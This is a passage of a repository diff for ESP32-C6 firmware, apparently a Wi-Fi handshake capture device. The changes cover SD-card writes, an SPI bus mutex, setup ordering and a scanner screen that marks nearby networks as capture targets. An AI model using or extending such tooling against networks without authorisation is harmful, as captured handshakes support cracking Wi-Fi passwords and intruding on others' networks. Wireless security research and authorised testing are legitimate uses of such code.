if (path == nullptr || data == nullptr || len == 0) return false;
|
||||
|
||||
beginSDOperation();
|
||||
|
||||
bool ok = false;
|
||||
File file = SD.open(path, FILE_WRITE);
|
||||
if (file) {
|
||||
ok = (file.write(data, len) == len);
|
||||
file.close();
|
||||
}
|
||||
if (!ok) {
|
||||
g_sd_ready = false;
|
||||
}
|
||||
|
||||
endSDOperation();
|
||||
|
||||
if (len >= 1024) yield();
|
||||
return ok;
|
||||
}
|
||||
|
||||
@@ -15,3 +15,4 @@ bool SD_Init();
|
||||
* with LCD+SD sharing SPI, cardType() can spuriously read CARD_NONE and falsely show "insert SD".
|
||||
*/
|
||||
bool SD_IsReady();
|
||||
bool SD_WriteFileAtomic(const char* path, const uint8_t* data, size_t len);
|
||||
|
||||
37
handshake-capture-c6/SPI_Bus_Lock.cpp
Normal file
37
handshake-capture-c6/SPI_Bus_Lock.cpp
Normal file
@@ -0,0 +1,37 @@
|
||||
#include "SPI_Bus_Lock.h"
|
||||
#include <freertos/FreeRTOS.h>
|
||||
#include <freertos/semphr.h>
|
||||
|
||||
static SemaphoreHandle_t s_spi_bus_mutex = nullptr;
|
||||
static volatile bool s_display_paused = false;
|
||||
|
||||
static void ensureMutex() {
|
||||
if (s_spi_bus_mutex == nullptr) {
|
||||
s_spi_bus_mutex = xSemaphoreCreateRecursiveMutex();
|
||||
}
|
||||
}
|
||||
|
||||
void SPIBus_Init() {
|
||||
ensureMutex();
|
||||
}
|
||||
|
||||
void SPIBus_Lock() {
|
||||
ensureMutex();
|
||||
if (s_spi_bus_mutex != nullptr) {
|
||||
xSemaphoreTakeRecursive(s_spi_bus_mutex, portMAX_DELAY);
|
||||
}
|
||||
}
|
||||
|
||||
void SPIBus_Unlock() {
|
||||
if (s_spi_bus_mutex != nullptr) {
|
||||
xSemaphoreGiveRecursive(s_spi_bus_mutex);
|
||||
}
|
||||
}
|
||||
|
||||
void SPIBus_SetDisplayPaused(bool paused) {
|
||||
s_display_paused = paused;
|
||||
}
|
||||
|
||||
bool SPIBus_IsDisplayPaused() {
|
||||
return s_display_paused;
|
||||
}
|
||||
9
handshake-capture-c6/SPI_Bus_Lock.h
Normal file
9
handshake-capture-c6/SPI_Bus_Lock.h
Normal file
@@ -0,0 +1,9 @@
|
||||
#pragma once
|
||||
|
||||
#include <Arduino.h>
|
||||
|
||||
void SPIBus_Init();
|
||||
void SPIBus_Lock();
|
||||
void SPIBus_Unlock();
|
||||
void SPIBus_SetDisplayPaused(bool paused);
|
||||
bool SPIBus_IsDisplayPaused();
|
||||
@@ -10,9 +10,17 @@ void WiFiScanner_Refresh(void) {
|
||||
scanNetworksSortedByRSSI();
|
||||
|
||||
int count = 0;
|
||||
int captureable = 0;
|
||||
int offband_secure = 0;
|
||||
for (int i = 0; i < MAX_NETWORKS; i++) {
|
||||
if (networks[i].ssid.isEmpty()) break;
|
||||
count++;
|
||||
if (isCaptureable(i)) {
|
||||
captureable++;
|
||||
} else if (isSupportedCaptureAuth(networks[i].encryption) &&
|
||||
!isSupportedCaptureChannel(networks[i].ch)) {
|
||||
offband_secure++;
|
||||
}
|
||||
}
|
||||
|
||||
if (count <= 0) {
|
||||
@@ -22,20 +30,33 @@ void WiFiScanner_Refresh(void) {
|
||||
}
|
||||
|
||||
static char status_text[64];
|
||||
snprintf(status_text, sizeof(status_text), "%d networks", count);
|
||||
if (offband_secure > 0) {
|
||||
snprintf(status_text, sizeof(status_text), "%d nets, %d tgt, %d off-band",
|
||||
count, captureable, offband_secure);
|
||||
} else {
|
||||
snprintf(status_text, sizeof(status_text), "%d nets, %d tgt", count, captureable);
|
||||
}
|
||||
Ui_SetWifiStatus(status_text);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char line[48];
|
||||
snprintf(line, sizeof(line), "%02d. %s ch%d",
|
||||
const char* suffix = "";
|
||||
if (isSupportedCaptureAuth(networks[i].encryption) &&
|
||||
!isSupportedCaptureChannel(networks[i].ch)) {
|
||||
suffix = " 5G+";
|
||||
}
|
||||
snprintf(line, sizeof(line), "%02d. %s ch%d%s",
|
||||
i + 1,
|
||||
networks[i].ssid.c_str(),
|
||||
networks[i].ch);
|
||||
networks[i].ch,
|
||||
suffix);
|
||||
Ui_AddNetwork(line, i);
|
||||
if (networks[i].handshake_captured) {
|
||||
Ui_SetNetworkColor(i, lv_palette_main(LV_PALETTE_RED));
|
||||
} else {
|
||||
} else if (isCaptureable(i)) {
|
||||
Ui_SetNetworkColor(i, lv_palette_main(LV_PALETTE_GREEN));
|
||||
} else {
|
||||
Ui_SetNetworkColor(i, lv_palette_main(LV_PALETTE_GREY));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -17,8 +17,6 @@ enum CaptureState {
|
||||
|
||||
CaptureState captureState = STATE_SCANNING;
|
||||
unsigned long capture_start_time = 0;
|
||||
// Hard cap per channel visit: should exceed MAX_OBSERVE_CYCLES * (observe + capture).
|
||||
const unsigned long CHANNEL_TIMEOUT_MS = 150000UL;
|
||||
|
||||
// ─── Live capture visual update ───
|
||||
|
||||
@@ -119,14 +117,17 @@ void setup() {
|
||||
Set_Backlight(100);
|
||||
Lvgl_Init();
|
||||
|
||||
// WiFi + scan before SD: shared SPI with LCD; radio init can affect first SD.begin timing.
|
||||
handshakeCaptureInit();
|
||||
WiFiScanner_Refresh();
|
||||
|
||||
HANDSHAKE_LOGLN("[SETUP] mounting SD after WiFi scan");
|
||||
if (!SD_Init()) {
|
||||
Ui_SetWifiStatus("SD: no card");
|
||||
} else {
|
||||
Ui_SetWifiStatus("SD OK");
|
||||
}
|
||||
|
||||
handshakeCaptureInit();
|
||||
WiFiScanner_Refresh();
|
||||
captureState = STATE_SCANNING;
|
||||
}
|
||||
|
||||
@@ -147,8 +148,10 @@ void loop() {
|
||||
break;
|
||||
}
|
||||
if (!SD_IsReady()) {
|
||||
HANDSHAKE_LOGLN("[CAP] SD not ready — calling SD_Init before capture");
|
||||
SD_Init();
|
||||
if (!SD_IsReady()) {
|
||||
HANDSHAKE_LOGLN("[CAP] BLOCKED: SD_IsReady still false — UI: Insert SD card");
|
||||
Ui_SetWifiStatus("Insert SD card");
|
||||
delay(800);
|
||||
break;
|
||||
@@ -186,7 +189,7 @@ void loop() {
|
||||
} else if (!any_active) {
|
||||
stopCapture();
|
||||
captureState = STATE_SCANNING;
|
||||
} else if (millis() - capture_start_time > CHANNEL_TIMEOUT_MS) {
|
||||
} else if (millis() - capture_start_time > HANDSHAKE_CHANNEL_TIMEOUT_MS) {
|
||||
Ui_SetWifiStatus("Ch timeout");
|
||||
stopCapture();
|
||||
captureState = STATE_SCANNING;
|
||||
|
||||
Reference in New Issue
Block a user